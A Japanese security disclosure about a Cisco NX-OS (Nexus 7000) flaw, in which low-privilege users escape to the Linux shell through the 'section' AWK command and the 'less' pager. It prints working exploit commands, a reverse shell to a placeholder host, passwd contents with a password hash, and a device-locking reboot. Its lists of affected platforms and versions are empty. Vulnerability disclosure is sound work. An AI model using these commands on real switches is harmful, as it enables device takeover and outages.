
公開されたセキュリティ脆弱性、研究、および関連情報。
ローカルアクセスが必要です。ただし、権限のないアカウントでも、基盤となるLinuxオペレーティングシステムへのアクセスを取得でき、実質的にデバイスへの完全なアクセスが可能になります。これは、NOCやその他のスタッフがファーストコールなどのために低レベルのアクセスを許可されている環境では、問題を引き起こす可能性があります。
この問題はNexus 7000プラットフォームで発見されました。以下のプラットフォームにも影響する可能性があると考えられています:
sectionコマンドは、要求された文字列が渡されるAWKスクリプトであると思われます。ただし、入力は正しくサニタイズされていないようです。その結果、AWKを使用してLinuxサブシステム上で任意のコマンドを実行できます。
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"id"\) \}/' > 20110713.awk
Warning: There is already a file existing with this name. Do you want to
overwrite (yes/no)? [no] y
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
uid=2003(user) gid=504(network-operator)
11:16:04.082 UTC Wed Jul 13 2011
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"ls \/mnt\/cfg\/0\/"\) \}/' > 20110713.awk
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
ascii
bin
boot
cfglabel.sysmgr
debug
licenses
linux
log
lost+found
11:18:41.885 UTC Wed Jul 13 2011
これを使用すると、bootflash上のすべてのファイルを削除し、システムに'reboot'コマンドを発行することもできます。ただし、Linuxサブシステムから再起動すると、デバイスは実際にはリロードされず、メッセージをコンソールに吐き出してロックしてしまいます。
以下のソフトウェアバージョンに影響すると考えられています:
例:
switch# sh clock | less
lessが表示されたら、コロンを押してから"e"を押し、ファイルへのパスを指定することでファイルを開きます。
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash
ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash
nobody:*:65534:65534:nobody:/home:/bin/sh
admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm
ただし、これも再び読み取り専用アクセスにすぎません。しかし、"|"(パイプ)と"$"キーマクロを使用すれば、コマンドを実行できます。
!ls -lah > /bootflash/20110715
以下に示すように、ファイルはboot-flash上に作成されています。
switch# dir
97 Jul 15 12:01:44 2011 20110715
この方法を使用して、次のコマンドでNX-OS Linuxサブシステムへのリモートシェルを確立することができました:
mknod rs p; telnet ad.dr.es.s 8888 0<rs | /bin/bash 1>rs
rebootコマンドでさえ有効な入力として受け入れられます。ただし、デバイスを再起動する代わりに、コンソールにエラーを吐き出しながらシステムをロックさせます。
switch# sh clock | less
Fri Jul 15 12:06:30 UTC 2011
!reboot
Broadcast message from root (Fri Jul 15 12:06:39 2011):